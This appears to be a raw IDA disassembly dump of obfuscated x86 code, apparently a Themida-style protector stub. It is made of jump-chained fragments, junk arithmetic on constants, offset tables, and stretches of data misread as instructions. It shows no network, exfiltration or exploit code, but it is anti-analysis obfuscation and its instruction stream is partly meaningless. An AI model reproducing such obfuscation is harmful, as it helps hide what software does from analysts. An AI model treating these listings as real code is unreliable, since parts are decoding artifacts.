--------------------------------------------------------------------------- loc_59038E: ; CODE XREF: sub_580566+6B4Ej add eax, edi mov edi, [esp+0] add esp, 4 jmp loc_58D980 ; --------------------------------------------------------------------------- loc_59039B: ; CODE XREF: sub_580566+BBE0j mov esi, [esp-2Ah+arg_20+2] add esp, 4 xor ebp, [esp-2Eh+arg_24+2] xor [esp-2Eh+arg_24+2], ebp jmp loc_58E2C1 ; --------------------------------------------------------------------------- loc_5903AC: ; CODE XREF: sub_580566+7F71j jmp loc_584473 ; --------------------------------------------------------------------------- loc_5903B1: ; CODE XREF: sub_580566+8ABCj add ebp, ebx pop ebx add ebp, esi sub ebp, 1FB0127h pop esi xchg ebp, [esp-14h+arg_A+2] jmp loc_58E4E0 ; --------------------------------------------------------------------------- loc_5903C5: ; DATA XREF: sub_580566+3E3Eo lodsb jmp loc_588647 ; --------------------------------------------------------------------------- loc_5903CB: ; CODE XREF: sub_580566+5D1Cj sub ebp, 6500085Fh jmp loc_58E000 ; --------------------------------------------------------------------------- loc_5903D6: ; CODE XREF: sub_580566+E569j mov eax, esp jmp loc_58E87B ; --------------------------------------------------------------------------- loc_5903DD: ; CODE XREF: sub_580566+6B23j pop esp sub esp, 4 mov [esp+0], edx mov edx, ebx mov edi, edx jmp loc_586017 ; --------------------------------------------------------------------------- loc_5903ED: ; CODE XREF: sub_580566+10135j add [edi+24h], ecx pop ecx jmp loc_59006F ; --------------------------------------------------------------------------- loc_5903F6: ; CODE XREF: sub_580566+F08Ej push ebp jmp loc_58F985 ; --------------------------------------------------------------------------- loc_5903FC: ; CODE XREF: sub_580566+A276j mov edx, 0 push eax mov eax, 156F5352h push esi mov esi, 1F112DC8h add esi, 0FDAE933h add edx, esi pop esi sub edx, eax sub edx, 2EEC16FBh pop eax add edx, ebx push ebp mov ebp, 156F5352h jmp loc_587996 ; --------------------------------------------------------------------------- loc_59042C: ; CODE XREF: sub_580566+833Bj push [esp-14h+arg_A+2] push dword ptr [esp+0] pop ebp jmp loc_589D2C ; --------------------------------------------------------------------------- loc_590438: ; CODE XREF: sub_580566+86B9j shr dl, 6 and dl, 0A2h add dl, 1Bh inc dl sub dl, 2Eh xor dl, ah pop eax neg dl not dl jmp loc_58F58C ; --------------------------------------------------------------------------- loc_590452: ; CODE XREF: sub_580566+880Ej pop ecx xor ebp, 3DE74D64h jmp loc_58D8BA ; --------------------------------------------------------------------------- loc_59045E: ; CODE XREF: sub_580566+9C85j not edi or edi, 481E6DE5h not edi add edi, 2761A8BDh sub edx, edi pop edi jmp loc_58D911 ; --------------------------------------------------------------------------- loc_590476: ; CODE XREF: sub_580566+E0D6j sub eax, 1775470h inc eax sub eax, 0DAF0038Dh add ebp, eax pop eax mov ebx, [esp-0Ch+arg_8] jmp loc_5856BD ; --------------------------------------------------------------------------- loc_59048C: ; CODE XREF: sub_580566+9EAEj add esp, 4 sub edi, ebx jmp loc_58AF98 ; --------------------------------------------------------------------------- loc_590499: ; CODE XREF: sub_580566+EB03j mov edx, 520B1376h xor edi, edx pop edx xor edi, 12834572h add edx, edi jmp loc_58E36F ; --------------------------------------------------------------------------- loc_5904AE: ; CODE XREF: sub_580566+101E4j pop esi sub [esp+4], ebp add dword ptr [esp+4], 200A62CDh add dword ptr [esp+4], 3E5637D0h sub esp, 4 mov [esp+4+var_4], edi push ebp mov ebp, 25F67C85h mov edi, ebp jmp loc_586F5F ; --------------------------------------------------------------------------- loc_5904D6: ; CODE XREF: sub_580566+9816j mov ch, 35h inc ch push small 25FBh mov word ptr [esp-0Ah+arg_4+2], bx push edx mov dl, 2Eh xor dl, 7Ah xor dl, 87h mov bh, dl jmp loc_587A1C ; --------------------------------------------------------------------------- loc_5904F2: ; DATA XREF: sub_580566+3D7Ao lodsb jmp loc_58FC4B ; --------------------------------------------------------------------------- loc_5904F8: ; CODE XREF: sub_580566+D1BDj shr ecx, 4 xor ecx, 15CFC07h push ecx pop ebx jmp loc_58B962 ; --------------------------------------------------------------------------- loc_590508: ; CODE XREF: sub_580566+F6DAj push edi mov edi, esp add edi, 4 add edi, 4 push edi push [esp-1Eh+arg_1A] jmp loc_58868E ; --------------------------------------------------------------------------- loc_59051E: ; CODE XREF: sub_580566+F81Dj add ecx, ebp pop ebp xor ecx, 637F3AE3h shr ecx, 4 shl ecx, 3 sub ecx, 0E0805A4Fh jmp loc_5895B8 ; --------------------------------------------------------------------------- loc_590538: ; CODE XREF: sub_580566+62A4j push edx push 5851h mov [esp+8+var_8], ebx mov ebx, 787EC5h mov edx, 787EC7h jmp loc_5887E5 ; --------------------------------------------------------------------------- loc_590550: ; CODE XREF: sub_580566+4C1Fj sub ebx, ebp pop ebp add ebx, 1F44934h jmp loc_588EC8 ; --------------------------------------------------------------------------- loc_59055E: ; CODE XREF: sub_580566+E8A6j push 59D5486Fh pop esi xor esi, edi xor edi, esi jmp loc_5882D9 ; --------------------------------------------------------------------------- loc_59056D: ; CODE XREF: sub_580566+8FC8j sub eax, edi pop edi sub eax, 65662318h add eax, 3A8150Ah jmp loc_58A3D4 ; --------------------------------------------------------------------------- loc_59057F: ; CODE XREF: sub_580566+86D0j sub al, ch pop ecx mov ecx, [esp-24h+arg_1A+2] add esp, 4 push ecx mov ch, 85h push eax mov ah, 87h sub ah, 0B4h shr ah, 7 and ah, 6Bh add ah, 1 xor ah, 45h sub ch, 0EDh jmp loc_58C7D9 ; --------------------------------------------------------------------------- loc_5905A8: ; CODE XREF: sub_580566+776Bj mov dx, [esp+0] push ebx push 6F1Bh mov [esp+2+var_4+2], esp jmp loc_584A4F ; --------------------------------------------------------------------------- loc_5905BA: ; CODE XREF: sub_580566+8C74j sub esi, 3BC9129Bh add esi, 65A768DDh add esi, 6D812CDh xor esi, 89F2D2BEh add ebp, esi pop esi jmp loc_586968 ; --------------------------------------------------------------------------- loc_5905DA: ; CODE XREF: sub_580566+A19Aj push [esp+14h+var_14] jmp loc_58BA76 ; --------------------------------------------------------------------------- loc_5905E2: ; CODE XREF: sub_580566+DACFj shl bl, 1 sub bl, 0B7h jmp loc_58D5A2 ; --------------------------------------------------------------------------- loc_5905EC: ; CODE XREF: sub_580566+75FAj sub edx, 5C3D6989h sub edx, esi add edx, 5C3D6989h pop esi jmp loc_58BADF ; --------------------------------------------------------------------------- loc_590600: ; CODE XREF: sub_580566+CE61j push edx mov edx, 4 sub ebp, 6C2961DCh add ebp, edx jmp loc_587B3F ; --------------------------------------------------------------------------- loc_590613: ; CODE XREF: sub_580566+BE8Ej mov [esp-32h+arg_28+2], eax push esi mov esi, 7D0D462Ah push ebx mov ebx, esi mov eax, ebx jmp loc_588F5B ; --------------------------------------------------------------------------- loc_590626: ; CODE XREF: sub_580566+F370j mov ecx, 2 add ebx, ecx jmp loc_586FD2 ; --------------------------------------------------------------------------- loc_590632: ; CODE XREF: sub_580566+839Bj pop ebx add edi, ebp push [esp-24h+arg_1A+2] jmp loc_58BEE8 ; --------------------------------------------------------------------------- loc_59063D: ; CODE XREF: sub_580566+3F11j mov word ptr [esp-8+arg_4], bx push ecx mov cl, 0AFh mov bh, 50h sub bh, 9Bh push ecx jmp loc_58C876 ; --------------------------------------------------------------------------- loc_59064F: ; CODE XREF: sub_580566+EE77j mov ebx, 4 push ecx mov ecx, 459A11ACh sub edi, 34911912h sub edi, ecx add edi, 34911912h pop ecx add edi, 15DC1E6Dh add edi, ebx sub edi, 15DC1E6Dh add edi, 459A11ACh pop ebx push ebx mov ebx, 4 sub edi, ebx pop ebx xor edi, [esp+0Ah+var_C+2] xor [esp+0Ah+var_C+2], edi xor edi, [esp+0Ah+var_C+2] mov esp, [esp+0Ah+var_C+2] mov [esp+0Ah+var_C+2], ecx mov ecx, 1 jmp loc_5903ED ; --------------------------------------------------------------------------- loc_5906A0: ; CODE XREF: sub_580566+4713j push 165Fh mov [esp-4Ah+arg_40+2], ebx mov ebx, 62C9583Dh add ebx, 51716923h push ecx mov ecx, 11F579E8h jmp loc_58CA41 ; --------------------------------------------------------------------------- loc_5906BE: ; CODE XREF: sub_580566+D788j neg bh and bh, 62h shl bh, 4 not bh dec bh xor bh, 3Eh add al, bh pop ebx jmp loc_58CB89 ; --------------------------------------------------------------------------- loc_5906D5: ; DATA XREF: sub_580566+3E46o mov ecx, [esp-30h+arg_28] jmp loc_589E92 ; --------------------------------------------------------------------------- loc_5906DD: ; CODE XREF: sub_580566+E45Dj sub al, 59h jmp loc_58832E ; --------------------------------------------------------------------------- loc_5906E4: ; CODE XREF: sub_580566+5323j pop edx jmp loc_585E62 ; --------------------------------------------------------------------------- loc_5906EA: ; CODE XREF: sub_580566+75E0j push ebp push [esp-2Ah+arg_24+2] pop ebp pop [esp-2Ah+arg_20+2] pop esp shr ecx, 7 push dword ptr [edi+1Ch] mov eax, [esp-2Eh+arg_24+2] push 34F5h mov [esp-2Ah+arg_20+2], ebx push esp pop ebx push esi jmp loc_58CB55 ; --------------------------------------------------------------------------- loc_59070D: ; CODE XREF: sub_580566+6FB1j mov edi, 562D6E2Ah jmp loc_58F00F ; --------------------------------------------------------------------------- loc_590717: ; CODE XREF: sub_580566+C553j mov esi, 468E6702h shl esi, 2 add esi, 1DDE64A2h jmp loc_58A841 ; --------------------------------------------------------------------------- loc_59072A: ; CODE XREF: sub_580566+6245j dec al not al add al, 6 push ebx mov bh, al mov dh, bh jmp loc_58A56F ; --------------------------------------------------------------------------- loc_59073A: ; CODE XREF: sub_580566+FD45j sub [esp-24h+arg_24], 0D587E59h add [esp-24h+arg_24], 296B2389h jmp loc_5904AE ; --------------------------------------------------------------------------- loc_59074F: ; CODE XREF: sub_580566+EB41j mov ecx, [esp-1Ah+arg_12] add esp, 4 pop ebx jmp loc_5857DF ; --------------------------------------------------------------------------- loc_59075E: ; CODE XREF: sub_580566+9BE4j sub esp, 4 mov [esp-22h+arg_1A], ebx mov ebx, 4 push esi mov esi, 4DAB04B0h jmp loc_58447C ; --------------------------------------------------------------------------- dd offset byte_5E96EF dd 0E237DCAAh, 12FF4Ch, 0FA44C2CAh, 5EF65Ah, 5EA23Fh, 7C90EB94h dd 207h, 2, 1, 2, 0FA44C2CAh, 5 dup(0) dd offset loc_597169 dd offset loc_59510E dd offset loc_5A1D2A dd offset loc_5A5256 dd offset loc_5A1A90 dd offset loc_594D95 dd offset loc_597B37 dd offset loc_5996B6 dd offset loc_5919CF dd offset loc_59869E dd offset loc_5A5960 dd offset off_594CD9 dd offset loc_5A3A6B dd offset loc_5A27CC dd offset word_59DA4A dd offset loc_59C4A4 dd offset loc_59F8C9 dd offset loc_59ABFD ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 4Fh, 5Ah, 0 dd offset loc_59E6FD dd offset loc_5A3442 ; --------------------------------------------------------------------------- jmp short loc_59087A ; --------------------------------------------------------------------------- pop ecx add [ecx-68FFA5F9h], cl push ebx pop ecx add ch, dh pop ebp pop ecx add [esi+eax*8+3A5E0059h], ch pop ecx add [esp+eax*2-50EEFFA7h], dl pop ecx add [esi-65FFA6F1h], bh inc esi pop edx add [edx-20FFA6E7h], bl xor ebx, [edx+0] push 0B90059B1h push ebp pop ecx add [edx+ecx*4-0F0DFFA7h], bl pop ecx add [eax-73h], cl pop ecx add [edi+0E005975h], bl xor [ecx+0], ebx pop ebx sub al, 59h add [ebp+1F0059A9h], bl clc pop ecx add dh, bl mov dh, 59h add [esi], bl sub [ecx+0], bl xor esi, [esi-4FF4FFA7h] pop ecx add [ebp+2F0059ECh], cl push edi loc_59087A: ; CODE XREF: sub_580566+102A6j pop ecx add [esi+ebp*2+59h], ah add [esi+33h], dl pop edx add [edi+6Ch], cl pop ecx add ah, al or eax, 0B23005Ah pop edx add [ecx-48h], al pop ecx add [ebx+63h], bl pop ecx add ds:0C4005944h, bl neg dword ptr [ecx+0] fcom st(1) pop ecx add [ebx+31005958h], al cmp ebx, [ecx+0] push esp lodsd pop ecx add [ebx+29h], ch pop edx add al, bh or bl, [edx+0] add al, 0FDh pop ecx add [edi+3500592Eh], dl xor eax, 2220059h pop edx add al, bh das pop ecx add ch, dl dec ebx pop ecx add dh, bh jns short near ptr loc_59092B+1 add [esi-5BFFA646h], al mov dword ptr [ecx+0], offset loc_591846 mov ah, 3Ah pop ecx add [ebp+9], cl pop edx add [esi+7C005A18h], cl mov dh, 59h add [edi-6FFA6EDh], cl rcr dword ptr [ecx+0], 50h xchg eax, ecx pop ecx add [ebx-49h], dh pop ecx add [ecx-3CFFA629h], dh cmp al, 5Ah add al, cl cmp bl, [ecx+0] std fistp dword ptr [ecx+0] push es cmp al, 59h add ah, bl in eax, dx pop ecx add [ebx-2Dh], bl pop ecx add ch, dh loopne loc_590978 add [edx], dl sbb [edx+0], bl dec esp pop ss pop edx add [esi+7Bh], al pop ecx loc_59092B: ; CODE XREF: sub_580566+1036Bj add [ebx], bh dec ebx pop ecx add ah, cl retf 59h ; --------------------------------------------------------------------------- pusha push ds pop ecx add [edi+12005A28h], cl inc esi pop ecx add bl, bh dec ecx pop edx add [edi-1Dh], cl pop ecx add [ebp+ebx*4+59h], bl add ah, bl pushf pop ecx add [edx+ecx*2-0B3CFFA6h], bl pop ecx add [edx+3005962h], al call fword ptr [ecx+0] sub al, 8 pop edx add [edi], ch dec ecx pop edx add [ebp+ecx*4+59h], dh add bh, al xchg eax, edx pop ecx add [eax-67FFA6ABh], dh sbb bl, [edx+0] loc_590978: ; CODE XREF: sub_580566+103B7j jmp near ptr 0AB596346h ; --------------------------------------------------------------------------- db 0Bh, 59h, 0 dd offset loc_5A366A dd offset loc_593E7F dd offset loc_59F9F3 dd offset loc_5A50A8 dd offset loc_5A47A2 dd offset loc_594534 dd offset loc_5A28F6 dd offset loc_59BF22 dd offset loc_59A1A3 dd offset loc_5A2D8D dd offset loc_599AE1 dd offset loc_595DDF dd offset loc_590B9C dd offset loc_5A17BF dd offset loc_5939CE dd offset loc_593C52 dd offset loc_59E893 dd offset loc_59AE0E dd offset byte_5A354B dd offset loc_5997E4 dd offset loc_596995 dd offset loc_5A50CC dd offset loc_5A547B dd offset loc_5A1869 dd offset loc_592721 dd offset loc_5A1EA2 dd offset loc_596297 dd offset loc_59822A dd offset dword_5A4CF8 dd offset loc_59E9F9 dd offset loc_5A3F6E dd offset loc_59E918 dd offset loc_592E1C dd offset loc_5964B7 dd offset loc_59771B dd offset loc_59F2FC dd offset loc_59B10A dd offset loc_5A3536 dd offset loc_5A2801 dd offset loc_5969DC dd offset loc_5A5596 dd offset loc_5A58F3 dd offset loc_59B2AF dd offset loc_5A0356 dd offset loc_59E716 dd offset loc_59338E dd offset loc_5A1A6C dd offset loc_5A085D dd offset loc_59DADF dd offset loc_59C623 dd offset loc_598762 dd offset loc_5A113A dd offset loc_59B817 ; --------------------------------------------------------------------------- loc_590A54: ; CODE XREF: Themida_:005D1F0Cj ; Themida_:005D1F16j ... pusha pushf cld call $+5 pop edi sub edi, 6144792h mov eax, edi add edi, 61444AAh cmp eax, [edi+2Ch] jnz short loc_590A72 jmp short loc_590A85 ; --------------------------------------------------------------------------- loc_590A72: ; CODE XREF: sub_580566+10508j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_590A81 ; --------------------------------------------------------------------------- loc_590A7C: ; CODE XREF: sub_580566+1051Dj add [edi+ecx*4+40h], eax dec ecx loc_590A81: ; CODE XREF: sub_580566+10514j or ecx, ecx jnz short loc_590A7C loc_590A85: ; CODE XREF: sub_580566+1050Aj mov esi, [esp-5Eh+arg_7A] mov ebx, esi add esi, eax mov ecx, 1 loc_590A92: ; CODE XREF: sub_580566+10533j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_590A92 loc_590A9B: ; CODE XREF: sub_580566+106ADj ; sub_580566+1094Cj ... lodsb sub esp, 4 jmp loc_5A0A0A ; --------------------------------------------------------------------------- loc_590AA4: ; CODE XREF: sub_580566+206F7j mov dl, byte ptr [esp-5Ah+arg_56] mov byte ptr [esp-5Ah+arg_56], al jmp loc_59D7D6 ; --------------------------------------------------------------------------- loc_590AB1: ; CODE XREF: sub_580566+2471Cj sub esi, 1 push ecx mov ecx, 641075D9h shr ecx, 5 shl ecx, 5 jmp loc_5A0264 ; --------------------------------------------------------------------------- loc_590AC5: ; CODE XREF: sub_580566+242D4j push ebp push [esp-52h+arg_4E] pop ebp pop [esp-52h+arg_48+2] pop esp jmp loc_59D4F5 ; --------------------------------------------------------------------------- loc_590AD4: ; CODE XREF: sub_580566+14411j shr edx, 3 sub edx, 4318239Bh shl edx, 3 jmp loc_591F0D ; --------------------------------------------------------------------------- loc_590AE5: ; CODE XREF: sub_580566+15A3Fj add esp, 4 push edx mov dh, 25h sub ch, dh pop edx shr ch, 1 shl ch, 5 sub ch, 83h sub al, 0D4h add al, ch add al, 0D4h mov ecx, [esp-5Eh+arg_56] push edi mov edi, esp push ebx mov ebx, 4 add edi, 1F5619DEh add edi, ebx jmp loc_59CF4F ; --------------------------------------------------------------------------- loc_590B18: ; CODE XREF: sub_580566+1A4FFj pop ebp add ebp, 4 push ecx jmp loc_59D6D8 ; --------------------------------------------------------------------------- loc_590B25: ; CODE XREF: sub_580566+1151Bj mov ecx, [esp-56h+arg_4E] add esp, 4 add eax, 3B4627EFh add eax, 7F304BE5h jmp loc_59DF39 ; --------------------------------------------------------------------------- loc_590B3D: ; CODE XREF: sub_580566+1E05Fj pop ecx mov bl, dl jmp loc_5A36E5 ; --------------------------------------------------------------------------- loc_590B45: ; CODE XREF: sub_580566+11B9Fj push [esp-5Eh+arg_56] pop edx add esp, 4 add ebp, 4 push 6F03h jmp loc_594FA3 ; --------------------------------------------------------------------------- loc_590B5F: ; CODE XREF: sub_580566+11374j pop edx sub [esp-62h+arg_5E], 6CB2331Bh sub [esp-62h+arg_5E], eax jmp loc_59B325 ; --------------------------------------------------------------------------- loc_590B71: ; CODE XREF: sub_580566+1F490j push [esp-62h+arg_5A] pop eax add esp, 4 push edx push 38D4h mov [esp-5Eh+arg_56], esp add [esp-5Eh+arg_56], 4 jmp loc_5A279E ; --------------------------------------------------------------------------- loc_590B8D: ; CODE XREF: sub_580566+217A7j push ebx jmp loc_5A151F ; --------------------------------------------------------------------------- loc_590B93: ; CODE XREF: sub_580566+226B1j pop esp push [esp-5Eh+arg_56] jmp loc_596CA0 ; --------------------------------------------------------------------------- loc_590B9C: ; DATA XREF: sub_580566+1044Ao lodsd push edx push 5983h mov [esp-52h+arg_48+2], edi jmp loc_59E93C ; --------------------------------------------------------------------------- mov ax, word ptr [esp-52h+arg_48+2] push ebp jmp loc_59EDF5 ; --------------------------------------------------------------------------- loc_590BB5: ; CODE XREF: sub_580566+1DA15j sub ebx, 0B0CBFD01h add edx, ebx pop ebx push ecx mov ecx, 4 add edx, ecx pop ecx xchg edx, [esp-52h+arg_48+2] jmp loc_5A07C2 ; --------------------------------------------------------------------------- loc_590BCF: ; CODE XREF: sub_580566+153FEj mov ecx, [esp-52h+arg_48+2] add esp, 4 add ecx, ebx jmp loc_59FE7E ; --------------------------------------------------------------------------- loc_590BDF: ; CODE XREF: sub_580566+17E53j push ebx push esi jmp loc_594463 ; --------------------------------------------------------------------------- loc_590BE6: ; CODE XREF: sub_580566+153D6j mov ebp, esi pop esi add ebx, 37D7C4Eh push ebp mov ebp, 765D5DF9h add ebx, ebp pop ebp add ebx, ebp sub ebx, 765D5DF9h jmp loc_59254C ; --------------------------------------------------------------------------- loc_590C05: ; CODE XREF: sub_580566+16FACj push 4362h jmp loc_59DDB5 ; --------------------------------------------------------------------------- loc_590C0F: ; CODE XREF: sub_580566+146B9j mov word ptr [esp-4Eh+arg_44+2], ax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_590C18: ; CODE XREF: sub_580566+12B24j dec cl and cl, 22h sub cl, 7Dh push edx mov dh, 0C1h push ebx mov bh, 0A6h inc bh xor bh, 0Eh sub bh, 9Eh and dh, bh pop ebx push eax push ebx jmp loc_598CE7 ; --------------------------------------------------------------------------- loc_590C38: ; CODE XREF: sub_580566+1170Ej mov [esp-42h+arg_38+2], edi mov edi, 0BF484Fh dec edi not edi inc edi or edi, 1E56206Fh jmp loc_5A23FB ; --------------------------------------------------------------------------- loc_590C4F: ; CODE XREF: sub_580566+14FACj add al, 0C6h sub al, bl push 4A6Eh jmp loc_596676 ; --------------------------------------------------------------------------- loc_590C5D: ; CODE XREF: sub_580566+2272Aj sub ebx, ebp pop ebp xchg ebx, [esp-42h+arg_38+2] jmp loc_59516C ; --------------------------------------------------------------------------- loc_590C68: ; CODE XREF: sub_580566+1728Bj pop esi mov ebx, ebp jmp loc_592FDA ; --------------------------------------------------------------------------- loc_590C70: ; CODE XREF: sub_580566+1AE1Fj add eax, 33912BDDh pop edx pop ecx push ebx jmp loc_595CEC ; --------------------------------------------------------------------------- loc_590C7D: ; CODE XREF: sub_580566+1A828j inc ebp xor ebp, 0AD93C1EDh jmp loc_59A29B ; --------------------------------------------------------------------------- loc_590C89: ; CODE XREF: sub_580566+251C6j sub [esp-4Ah+arg_44+2], ebx sub [esp-4Ah+arg_44+2], 1AF641FCh add [esp-4Ah+arg_44+2], 4C5C30B6h push eax jmp loc_59B825 ; --------------------------------------------------------------------------- loc_590CA3: ; CODE XREF: sub_580566+1488Bj mov [esp-46h+arg_3C+2], ebp push esp mov ebp, [esp-42h+arg_38+2] add esp, 4 add ebp, 4 add ebp, 4 jmp loc_59AF1A ; --------------------------------------------------------------------------- loc_590CBB: ; CODE XREF: sub_580566+147D0j or eax, 53AE348Ch push esi mov esi, 6F801697h inc esi not esi or esi, 2C9E7B1Eh sub esi, 30FE7319h sub eax, 73DB7F1Dh add eax, esi add eax, 73DB7F1Dh pop esi add edi, eax push [esp-46h+arg_3C+2] pop eax jmp loc_59AEA1 ; --------------------------------------------------------------------------- loc_590CED: ; CODE XREF: sub_580566+238E6j pop ebp add ebx, eax pop eax add ebx, edi push 4135h mov [esp-4Ah+arg_40+2], edi mov edi, 4DFB4F95h add edi, 0E5A4C9FAh push ebp mov ebp, 21232BD0h push ebx jmp loc_59B274 ; --------------------------------------------------------------------------- loc_590D12: ; CODE XREF: sub_580566+2089Ej add esp, 4 push edi mov edi, 4B592359h jmp loc_5A4612 ; --------------------------------------------------------------------------- loc_590D23: ; CODE XREF: sub_580566+16599j mov eax, [esp-42h+arg_38+2] add esp, 4 sub ecx, 4 xchg ecx, [esp-46h+arg_3C+2] jmp loc_592498 ; --------------------------------------------------------------------------- loc_590D37: ; CODE XREF: sub_580566+1F488j mov al, ch pop ecx jmp loc_592F55 ; --------------------------------------------------------------------------- loc_590D3F: ; CODE XREF: sub_580566+1E1E5j add esp, 4 push 58F7h mov [esp-4Ah+arg_40+2], ebx mov bl, 0E8h sub al, bl pop ebx push dx mov dh, 8Eh add al, dh mov dx, word ptr [esp-4Ch+arg_44] jmp loc_591A6C ; --------------------------------------------------------------------------- loc_590D61: ; CODE XREF: sub_580566+10E64j not ebp jmp loc_59CB4A ; --------------------------------------------------------------------------- loc_590D68: ; CODE XREF: sub_580566+15CA1j pop ebx sub ebx, edx pop edx add edi, ebx jmp loc_59F6D8 ; --------------------------------------------------------------------------- loc_590D73: ; CODE XREF: sub_580566+1215Fj pop esi sub eax, ebx push ecx mov ecx, 451A4B94h xor ecx, 19432A49h add ecx, 69A1631Ch add ecx, 0A58F4C3Ch add eax, ecx pop ecx pop ebx push ecx push esp pop ecx push eax jmp loc_595C35 ; --------------------------------------------------------------------------- loc_590D9B: ; CODE XREF: sub_580566+1D48Bj xchg ebp, [esp+0] jmp loc_59D9DE ; --------------------------------------------------------------------------- loc_590DA3: ; CODE XREF: sub_580566+18226j and esi, 4C1D0516h add esi, 7EC42299h sub esi, 5740D82Fh sub ecx, esi pop esi not ecx push eax jmp loc_5A52C5 ; --------------------------------------------------------------------------- loc_590DC0: ; CODE XREF: sub_580566+24F10j mov edi, esp add edi, 4 jmp loc_5A2FB0 ; --------------------------------------------------------------------------- loc_590DCD: ; CODE XREF: sub_580566+11E0Aj mov [esp+0], esi push 140Dh mov [esp-50h+arg_48], edi push 5CA9h mov [esp-4Ch+arg_44], edx push 3DD533AEh pop edx sub edx, 3B722F91h mov edi, edx pop edx jmp loc_59B422 ; --------------------------------------------------------------------------- loc_590DF4: ; CODE XREF: sub_580566+20B5Ej push edi jmp loc_5A159D ; --------------------------------------------------------------------------- loc_590DFA: ; CODE XREF: sub_580566+1980Fj mov ebp, 4662163Ah jmp loc_599A0D ; --------------------------------------------------------------------------- loc_590E04: ; CODE XREF: sub_580566+159D3j and esi, 35136091h jmp loc_59E0EF ; --------------------------------------------------------------------------- loc_590E0F: ; CODE XREF: sub_580566+1F75Bj xchg edx, esi push ebx jmp loc_591635 ; --------------------------------------------------------------------------- loc_590E17: ; CODE XREF: sub_580566+1FB95j sub esp, 4 jmp loc_59744D ; --------------------------------------------------------------------------- loc_590E1F: ; CODE XREF: sub_580566+2073Ej sub [esp-44h+arg_40], 7E772834h add [esp-44h+arg_40], ebx add [esp-44h+arg_40], 7E772834h sub [esp-44h+arg_40], 39880D71h push [esp-44h+arg_3C] jmp loc_5955C7 ; --------------------------------------------------------------------------- loc_590E43: ; CODE XREF: sub_580566+14457j add ecx, 4 push edx mov edx, 5B26585Ah push ecx mov ecx, 4E48364Dh jmp loc_5972DD ; --------------------------------------------------------------------------- loc_590E5A: ; CODE XREF: sub_580566+1D908j mov ah, bh pop ebx mov cl, dh mov dh, ah pop ax inc cl jmp loc_59D822 ; --------------------------------------------------------------------------- loc_590E6A: ; CODE XREF: sub_580566+1BCE5j and esi, 0C6F46BAh jmp loc_5A0180 ; --------------------------------------------------------------------------- loc_590E75: ; CODE XREF: sub_580566+146F4j mov [esp-3Eh+arg_34+2], esp add [esp-3Eh+arg_34+2], 4 jmp loc_59694D ; --------------------------------------------------------------------------- loc_590E81: ; CODE XREF: sub_580566+20BC7j mov [esp-3Eh+arg_34+2], eax push 4C570F34h pop eax sub eax, 2D823EBDh push 6988h mov [esp-3Ah+arg_30+2], eax jmp loc_5A014A ; --------------------------------------------------------------------------- loc_590E9C: ; CODE XREF: sub_580566+1EC1Aj sub ah, 0CAh or ch, ah jmp loc_592CCA ; --------------------------------------------------------------------------- loc_590EA6: ; CODE XREF: sub_580566+225B8j pop dword ptr [esp] mov esp, [esp-3Eh+arg_34+2] bts word ptr [esp-3Eh+arg_34+2], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_590EB7: ; CODE XREF: sub_580566+16C55j mov ebp, [esp] add esp, 4 jmp loc_5994D1 ; --------------------------------------------------------------------------- loc_590EC2: ; CODE XREF: sub_580566+211E1j add esi, ecx sub esi, 5AA85319h pop ecx jmp loc_5A2B9B ; --------------------------------------------------------------------------- loc_590ED0: ; CODE XREF: sub_580566+13605j mov [esp-42h+arg_38+2], ecx push ebp mov ebp, 54F22DF3h xor ebp, 54F22DF7h mov ecx, ebp mov ebp, [esp-3Eh+arg_34+2] add esp, 4 add [esp-42h+arg_3C+2], ecx pop ecx pop [esp-46h+arg_3C+2] add [esp-4Ah+arg_40+2], 4 pop [esp-4Ah+arg_40+2] push edx jmp loc_5A3EFB ; --------------------------------------------------------------------------- loc_590EFF: ; CODE XREF: sub_580566+11A3Fj add bh, 0E3h sub dh, 0E1h sub dh, bh add dh, 0E1h mov ebx, [esp-4Ah+arg_40+2] jmp loc_59F8A0 ; --------------------------------------------------------------------------- loc_590F12: ; CODE XREF: sub_580566+17DEEj mov eax, ebx mov ebx, [esp-4Ah+arg_40+2] jmp loc_598D3B ; --------------------------------------------------------------------------- loc_590F1C: ; CODE XREF: sub_580566+1D2D5j inc ebx sub ebx, 1A933884h sub ecx, ebx pop ebx neg ecx xor ecx, 0BB1A13D8h push ecx add [esp-4Ah+arg_40+2], 47AB0347h pop edx sub edx, 47AB0347h pop ecx add ecx, edx pop edx xor ecx, [esp-56h+arg_4E] jmp loc_5976EA ; --------------------------------------------------------------------------- loc_590F49: ; CODE XREF: sub_580566+13763j mov [esp-56h+arg_4E], eax mov eax, 4 sub ecx, 496A01CEh sub ecx, 6C3A0483h add ecx, eax push eax jmp loc_5A1994 ; --------------------------------------------------------------------------- loc_590F65: ; CODE XREF: sub_580566+16221j add eax, 5596072Eh not eax add eax, 13BEA521h jmp loc_59AAFB ; --------------------------------------------------------------------------- loc_590F76: ; CODE XREF: sub_580566+116E2j mov edi, [esp-52h+arg_48+2] add esp, 4 pop [esp-56h+arg_4E] mov esp, [esp-5Ah+arg_52] mov [esp-5Ah+arg_52], edx mov edx, 554D2E0Bh jmp loc_597243 ; --------------------------------------------------------------------------- loc_590F8F: ; CODE XREF: sub_580566+1D2B0j mov si, word ptr [esp-5Ah+arg_52] sub esp, 4 mov [esp-56h+arg_4E], ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 13971A7Dh push esi mov esi, 7E8E60B8h jmp loc_59C60B ; --------------------------------------------------------------------------- loc_590FB2: ; CODE XREF: sub_580566+1B7D2j push [esp-4Eh+arg_44+2] pop ecx push edi mov edi, esp jmp loc_5A01C7 ; --------------------------------------------------------------------------- lodsd push 40EAh mov [esp-46h+arg_3C+2], ebp mov ebp, 611B0AA3h push 778Dh mov [esp-42h+arg_38+2], eax mov eax, 74EE6D45h xor ebp, eax jmp loc_59CBE8 ; --------------------------------------------------------------------------- loc_590FE0: ; CODE XREF: sub_580566+16010j push [esp-42h+arg_3C+2] pop eax jmp loc_5961D5 ; --------------------------------------------------------------------------- loc_590FEA: ; CODE XREF: sub_580566+222C1j push 6EBDh mov [esp-3Eh+arg_34+2], ecx mov ecx, 4 add [esp-3Eh+arg_38+2], ecx mov ecx, [esp-3Eh+arg_34+2] add esp, 4 jmp loc_593379 ; --------------------------------------------------------------------------- loc_591009: ; CODE XREF: sub_580566+15EDCj sub edx, 71271C5h pop ebp 